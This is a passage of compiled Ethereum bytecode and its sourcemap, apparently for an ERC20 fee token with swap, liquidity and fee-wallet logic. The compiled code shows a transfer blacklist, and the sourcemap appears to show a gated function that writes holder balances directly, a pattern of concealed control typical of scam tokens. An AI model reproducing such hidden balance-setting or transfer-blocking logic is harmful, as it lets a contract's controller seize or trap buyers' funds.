061446d565b9050809150509392505050565b6000612f4283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612e9c565b905092915050565b6000828015612f8857508173ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515155b90509392505050565b600061301c826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e9c9092919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506130b182600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461284190919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516131519190614277565b60405180910390a3600190509392505050565b6001601e60146101000a81548160ff02191690831515021790555060006131bd60026131af6018546131a16013548761362590919063ffffffff16565b6136a090919063ffffffff16565b6136a090919063ffffffff16565b905060006131d48284612f0090919063ffffffff16565b90506131df816136ea565b600047905060006132106131ff60026013546136a090919063ffffffff16565b601854612f0090919063ffffffff16565b9050600061324e6002613240846132326013548861362590919063ffffffff16565b6136a090919063ffffffff16565b6136a090919063ffffffff16565b905060006132798361326b6015548761362590919063ffffffff16565b6136a090919063ffffffff16565b905060006132a2826132948588612f0090919063ffffffff16565b612f0090919063ffffffff16565b905060008111156132da576132d9600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682613975565b5b60008211156133105761330f600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683613975565b5b6000831180156133205750600087115b156133305761332f87846139c0565b5b505050505050506000601e60146101000a81548160ff02191690831515021790555050565b60008060009050600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661340557600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561340457600080fd5b5b600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156134865761347f60646134716016548661362590919063ffffffff16565b6136a090919063ffffffff16565b9050613504565b600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156135035761350060646134f26017548661362590919063ffffffff16565b6136a090919063ffffffff16565b90505b5b60008111156136085761355f81600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461284190919063ffffffff16565b600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516135ff9190614277565b60405180910390a35b61361b8184612f0090919063ffffffff16565b9150509392505050565b600080831415613638576000905061369a565b600082846136469190614413565b905082848261365591906143e2565b14613695576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161368c906141f7565b60405180910390fd5b809150505b92915050565b60006136e283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613ab4565b905092915050565b6000600267ffffffffffffffff811115613707576137066146ba565b5b6040519080825280602002602001820160405280156137355781602001602082028036833780820191505090505b509050308160008151811061374d5761374c61468b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156137ef57600080fd5b505afa158015613803573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906138279190613c03565b8160018151811061383b5761383a61468b565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506138a230601d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846128a7565b601d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016139069594939291906142c2565b600060405180830381600087803b15801561392057600080fd5b505af1158015613934573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051613969929190614292565b60405180910390a15050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156139bb573d6000803e3d6000fd5b505050565b6139ed30601d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846128a7565b601d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719823085600080613a39611e81565b426040518863ffffffff1660e01b8152600401613a5b969594939291906140de565b6060604051808303818588803b158015613a7457600080fd5b505af1158015613a88573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190613aad9190613e10565b5050505050565b60008083118290613afb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613af29190614175565b60405180910390fd5b5060008385613b0a91906143e2565b9050809150509392505050565b600081359050613b26816148f0565b92915050565b600081519050613b3b816148f0565b92915050565b60008083601f840112613b5757613b566146ee565b5b8235905067ffffffffffffffff811115613b7457613b736146e9565b5b602083019150836020820283011115613b9057613b8f6146f3565b5b9250929050565b600081359050613ba681614907565b92915050565b600081359050613bbb8161491e565b92915050565b600081519050613bd08161491e565b92915050565b600060208284031215613bec57613beb6146fd565b5b6000613bfa84828501613b17565b91505092915050565b600060208284031215613c1957613c186146fd565b5b6000613c2784828501613b2c565b91505092915050565b60008060408385031215613c4757613c466146fd565b5b6000613c5585828601613b17565b9250506020613c6685828601613b17565b9150509250929050565b600080600060608486031215613c8957613c886146fd565b5b6000613c9786828701613b17565b9350506020613ca886828701613b17565b9250506040613cb986828701613bac565b9150509250925092565b60008060408385031215613cda57613cd96146fd565b5b6000613ce885828601613b17565b9250506020613cf985828601613bac565b9150509250929050565b600080600060408486031215613d1c57613d1b6146fd565b5b600084013567ffffffffffffffff811115613d3a57613d396146f8565b5b613d4686828701613b41565b93509350506020613d5986828701613b97565b9150509250925092565b600060208284031215613d7957613d786146fd565b5b6000613d8784828501613b97565b91505092915050565b600060208284031215613da657613da56146fd565b5b6000613db484828501613bac565b91505092915050565b600080600060608486031215613dd657613dd56146fd565b5b6000613de486828701613bac565b9350506020613df586828701613bac565b9250506040613e0686828701613bac565b9150509250925092565b600080600060608486031215613e2957613e286146fd565b5b6000613e3786828701613bc1565b9350506020613e4886828701613bc1565b9250506040613e5986828701613bc1565b9150509250925092565b6000613e6f8383613e8a565b60208301905092915050565b613e84816144b3565b82525050565b613e93816144a1565b82525050565b613ea2816144a1565b82525050565b6000613eb382614347565b613ebd818561436a565b9350613ec883614337565b8060005b83811015613ef9578151613ee08882613e63565b9750613eeb8361435d565b925050600181019050613ecc565b5085935050505092915050565b613f0f816144c5565b82525050565b613f1e81614508565b82525050565b613f2d8161451a565b82525050565b6000613f3e82614352565b613f48818561437b565b9350613f58818560208601614550565b613f6181614702565b840191505092915050565b6000613f7960238361437b565b9150613f8482614713565b604082019050919050565b6000613f9c60228361437b565b9150613fa782614762565b604082019050919050565b6000613fbf601b8361437b565b9150613fca826147b1565b602082019050919050565b6000613fe260218361437b565b9150613fed826147da565b604082019050919050565b600061400560208361437b565b915061401082614829565b602082019050919050565b600061402860258361437b565b915061403382614852565b604082019050919050565b600061404b60248361437b565b9150614056826148a1565b604082019050919050565b61406a816144f1565b82525050565b614079816144fb565b82525050565b60006020820190506140946000830184613e99565b92915050565b60006020820190506140af6000830184613e7b565b92915050565b60006040820190506140ca6000830185613e99565b6140d76020830184613e99565b9392505050565b600060c0820190506140f36000830189613e99565b6141006020830188614061565b61410d6040830187613f24565b61411a6060830186613f24565b6141276080830185613e99565b61413460a0830184614061565b979650505050505050565b60006020820190506141546000830184613f06565b92915050565b600060208201905061416f6000830184613f15565b92915050565b6000602082019050818103600083015261418f8184613f33565b905092915050565b600060208201905081810360008301526141b081613f6c565b9050919050565b600060208201905081810360008301526141d081613f8f565b9050919050565b600060208201905081810360008301526141f081613fb2565b9050919050565b6000602082019050818103600083015261421081613fd5565b9050919050565b6000602082019050818103600083015261423081613ff8565b9050919050565b600060208201905081810360008301526142508161401b565b9050919050565b600060208201905081810360008301526142708161403e565b9050919050565b600060208201905061428c6000830184614061565b92915050565b60006040820190506142a76000830185614061565b81810360208301526142b98184613ea8565b90509392505050565b600060a0820190506142d76000830188614061565b6142e46020830187613f24565b81810360408301526142f68186613ea8565b90506143056060830185613e99565b6143126080830184614061565b9695505050505050565b60006020820190506143316000830184614070565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000614397826144f1565b91506143a2836144f1565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156143d7576143d66145fe565b5b828201905092915050565b60006143ed826144f1565b91506143f8836144f1565b9250826144085761440761462d565b5b828204905092915050565b600061441e826144f1565b9150614429836144f1565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615614462576144616145fe565b5b828202905092915050565b6000614478826144f1565b9150614483836144f1565b925082821015614496576144956145fe565b5b828203905092915050565b60006144ac826144d1565b9050919050565b60006144be826144d1565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006145138261452c565b9050919050565b6000614525826144f1565b9050919050565b60006145378261453e565b9050919050565b6000614549826144d1565b9050919050565b60005b8381101561456e578082015181840152602081019050614553565b8381111561457d576000848401525b50505050565b6000600282049050600182168061459b57607f821691505b602082108114156145af576145ae61465c565b5b50919050565b60006145c0826144f1565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156145f3576145f26145fe565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6148f9816144a1565b811461490457600080fd5b50565b614910816144c5565b811461491b57600080fd5b50565b614927816144f1565b811461493257600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212201a022362d82a228e48f03c481796831a293cba77090a8f5828b8f01314cec22864736f6c63430008070033

Deployed Bytecode Sourcemap

4234:14649:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7804:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4452:39;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9098:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4498:40;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5866:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8081:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13741:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11130:113;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4545:81;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12312:128;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11858:129;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7990:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11719:131;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8467:218;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11587:124;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4925:45;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15316:390;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5981:40;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5325:34;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12586:731;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5366:34;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11251:218;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8189:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9612:218;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5658:62;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5025:38;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5728:60;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5490:38;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5199:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4870:48;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2941:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7895:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8970:120;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5535:44;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10174:336;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8693:269;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12175:125;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5407:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13566:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4977:41;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4754:50;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13325:198;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;10764:358;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5156:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11995:172;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5114:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5914:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5242:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4811:52;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5285:31;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9838:328;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6028:45;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5072:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8316:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5446:37;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11477:102;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3155:157;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6080:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7804:83;7841:13;7874:5;7867:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7804:83;:::o;4452:39::-;;;;;;;;;;;;;:::o;9098:161::-;9173:4;9190:39;9199:12;:10;:12::i;:::-;9213:7;9222:6;9190:8;:39::i;:::-;9247:4;9240:11;;9098:161;;;;:::o;4498:40::-;;;;;;;;;;;;;:::o;5866:41::-;;;;;;;;;;;;;:::o;8081:100::-;8134:7;8161:12;;8154:19;;8081:100;:::o;13741:313::-;13839:4;13856:36;13866:6;13874:9;13885:6;13856:9;:36::i;:::-;;13903:121;13912:6;13920:12;:10;:12::i;:::-;13934:89;13972:6;13934:89;;;;;;;;;;;;;;;;;:11;:19;13946:6;13934:19;;;;;;;;;;;;;;;:33;13954:12;:10;:12::i;:::-;13934:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;13903:8;:121::i;:::-;14042:4;14035:11;;13741:313;;;;;:::o;11130:113::-;3078:12;:10;:12::i;:::-;3068:22;;:6;;;;;;;;;;:22;;;3060:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;11227:8:::1;11208:16;;:27;;;;;;;;;;;;;;;;;;11130:113:::0;:::o;4545:81::-;;;:::o;12312:128::-;12365:7;12392:40;12409:22;12419:11;12409:9;:22::i;:::-;12392:12;;:16;;:40;;;;:::i;:::-;12385:47;;12312:128;:::o;11858:129::-;3078:12;:10;:12::i;:::-;3068:22;;:6;;;;;;;;;;:22;;;3060:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;11968:10:::1;11940:17;;:39;;;;;;;;;;;;;;;;;;11858:129:::0;:::o;7990:83::-;8031:5;8056:9;;;;;;;;;;;8049:16;;7990:83;:::o;11719:131::-;3078:12;:10;:12::i;:::-;3068:22;;:6;;;;;;;;;;:22;;;3060:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;11831:10:::1;11804:16;;:38;;;;;;;;;;;;;;;;;;11719:131:::0;:::o;8467:218::-;8555:4;8572:83;8581:12;:10;:12::i;:::-;8595:7;8604:50;8643:10;8604:11;:25;8616:12;:10;:12::i;:::-;8604:25;;;;;;;;;;;;;;;:34;8630:7;8604:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;8572:8;:83::i;:::-;8673:4;8666:11;;8467:218;;;;:::o;11587:124::-;3078:12;:10;:12::i;:::-;3068:22;;:6;;;;;;;;;;:22;;;3060:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;11695:8:::1;11669:23;:34;;;;11587:124:::0;:::o;4925:45::-;;;;;;;;;;;;;;;;;;;;;;:::o;15316:390::-;15419:81;15439:16;;;;;;;;;;;15470:4;15489:10;15419:5;:81::i;:::-;15405:105;;15502:7;;15405:105;15525:9;15520:179;15540:13;;:20;;15536:1;:24;15520:179;;;15586:14;15582:106;;;15628:4;15602:5;:23;15608:13;;15622:1;15608:16;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;15602:23;;;;;;;;;;;;;;;;:30;;;;;;;;;;;;;;;;;;15582:106;;;15680:5;15654;:23;15660:13;;15674:1;15660:16;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;15654:23;;;;;;;;;;;;;;;;:31;;;;;;;;;;;;;;;;;;15582:106;15562:3;;;;:::i;:::-;;;15520:179;;;;15316:390;;;;:::o;5981:40::-;;;;;;;;;;;;;:::o;5325:34::-;;;;:::o;12586:731::-;12666:22;3078:12;:10;:12::i;:::-;3068:22;;:6;;;;;;;;;;:22;;;3060:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12703:35:::1;12760:16;12703:74;;12826:16;:24;;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12808:53;;;12870:4;12877:16;:21;;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12808:93;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12791:110;;12943:1;12917:28;;:14;:28;;;12914:200;;;13006:16;:24;;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12988:74;;;13071:4;13078:16;:21;;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12988:114;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12971:131;;12914:200;13140:14;13126:11;;:28;;;;;;;;;;;;;;;;;;13183:16;13165:15;;:34;;;;;;;;;;;;;;;;;;13257:4;13213:19;:41;13241:11;;;;;;;;;;;13213:41;;;;;;;;;;;;;;;;:48;;;;;;;;;;;;;;;;;;13305:4;13272:8;:30;13289:11;;;;;;;;;;;13272:30;;;;;;;;;;;;;;;;:37;;;;;;;;;;;;;;;;;;12690:627;12586:731:::0;;;:::o;5366:34::-;;;;:::o;11251:218::-;3078:12;:10;:12::i;:::-;3068:22;;:6;;;;;;;;;;:22;;;3060:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;11357:9:::1;11353:109;11376:6;;:13;;11372:1;:17;11353:109;;;11444:6;11411:19;:30;11431:6;;11438:1;11431:9;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;11411:30;;;;;;;;;;;;;;;;:39;;;;;;;;;;;;;;;;;;11391:3;;;;;:::i;:::-;;;;11353:109;;;;11251:218:::0;;;:::o;8189:119::-;8255:7;8282:9;:18;8292:7;8282:18;;;;;;;;;;;;;;;;8275:25;;8189:119;;;:::o;9612:218::-;3078:12;:10;:12::i;:::-;3068:22;;:6;;;;;;;;;;:22;;;3060:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;9716:9:::1;9712:111;9735:7;;:14;;9731:1;:18;9712:111;;;9803:8;9771:17;:29;9789:7;;9797:1;9789:10;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;9771:29;;;;;;;;;;;;;;;;:40;;;;;;;;;;;;;;;;;;9751:3;;;;;:::i;:::-;;;;9712:111;;;;9612:218:::0;;;:::o;5658:62::-;;;;:::o;5025:38::-;;;;;;;;;;;;;;;;;;;;;;:::o;5728:60::-;;;;:::o;5490:38::-;;;;:::o;5199:36::-;;;;:::o;4870:48::-;;;;;;;;;;;;;;;;;;;;;;:::o;2941:79::-;2979:7;3006:6;;;;;;;;;;;2999:13;;2941:79;:::o;7895:87::-;7934:13;7967:7;7960:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;7895:87;:::o;8970:120::-;9032:7;9059:23;;9052:30;;8970:120;:::o;5535:44::-;;;;:::o;10174:336::-;3078:12;:10;:12::i;:::-;3068:22;;:6;;;;;;;;;;:22;;;3060:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;10313:15:::1;10293:17;:35;;;;10359:15;10339:17;:35;;;;10400:10;10385:12;:25;;;;10444:58;10489:12;;10444:40;10466:17;;10444;;:21;;:40;;;;:::i;:::-;:44;;:58;;;;:::i;:::-;10423:18;:79;;;;10174:336:::0;;;:::o;8693:269::-;8786:4;8803:129;8812:12;:10;:12::i;:::-;8826:7;8835:96;8874:15;8835:96;;;;;;;;;;;;;;;;;:11;:25;8847:12;:10;:12::i;:::-;8835:25;;;;;;;;;;;;;;;:34;8861:7;8835:34;;;;;;;;;;;;;;;;:38;;:96;;;;;:::i;:::-;8803:8;:129::i;:::-;8950:4;8943:11;;8693:269;;;;:::o;12175:125::-;3078:12;:10;:12::i;:::-;3068:22;;:6;;;;;;;;;;:22;;;3060:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12284:8:::1;12256:25;;:36;;;;;;;;;;;;;;;;;;12175:125:::0;:::o;5407:30::-;;;;:::o;13566:167::-;13644:4;13661:42;13671:12;:10;:12::i;:::-;13685:9;13696:6;13661:9;:42::i;:::-;;13721:4;13714:11;;13566:167;;;;:::o;4977:41::-;;;;;;;;;;;;;;;;;;;;;;:::o;4754:50::-;;;;;;;;;;;;;;;;;;;;;;:::o;13325:198::-;13402:60;13415:16;;;;;;;;;;;13439:4;13451:10;13402:5;:60::i;:::-;13391:91;;13474:7;;13391:91;13513:8;13485:9;:22;13498:8;13485:22;;;;;;;;;;;;;;;:36;;;;13325:198;;;:::o;10764:358::-;3078:12;:10;:12::i;:::-;3068:22;;:6;;;;;;;;;;:22;;;3060:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;10923:17:::1;10905:15;:35;;;;10969:17;10951:15;:35;;;;11010:12;10997:10;:25;;;;11062:52;11103:10;;11062:36;11082:15;;11062;;:19;;:36;;;;:::i;:::-;:40;;:52;;;;:::i;:::-;11035:24;:79;;;;10764:358:::0;;;:::o;5156:30::-;;;;:::o;11995:172::-;3078:12;:10;:12::i;:::-;3068:22;;:6;;;;;;;;;;:22;;;3060:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;12097:8:::1;12073:21;;:32;;;;;;;;;;;;;;;;;;12121:38;12150:8;12121:38;;;;;;:::i;:::-;;;;;;;;11995:172:::0;:::o;5114:35::-;;;;:::o;5914:26::-;;;;;;;;;;;;;:::o;5242:36::-;;;;:::o;4811:52::-;;;;;;;;;;;;;;;;;;;;;;:::o;5285:31::-;;;;:::o;9838:328::-;3078:12;:10;:12::i;:::-;3068:22;;:6;;;;;;;;;;:22;;;3060:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;9975:15:::1;9956:16;:34;;;;10020:15;10001:16;:34;;;;10060:10;10046:11;:24;;;;10103:55;10146:11;;10103:38;10124:16;;10103;;:20;;:38;;;;:::i;:::-;:42;;:55;;;;:::i;:::-;10083:17;:75;;;;9838:328:::0;;;:::o;6028:45::-;;;;;;;;;;;;;:::o;5072:35::-;;;;:::o;8316:143::-;8397:7;8424:11;:18;8436:5;8424:18;;;;;;;;;;;;;;;:27;8443:7;8424:27;;;;;;;;;;;;;;;;8417:34;;8316:143;;;;:::o;5446:37::-;;;;:::o;11477:102::-;3078:12;:10;:12::i;:::-;3068:22;;:6;;;;;;;;;;:22;;;3060:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;11563:8:::1;11549:10;:22;;;;11477:102:::0;: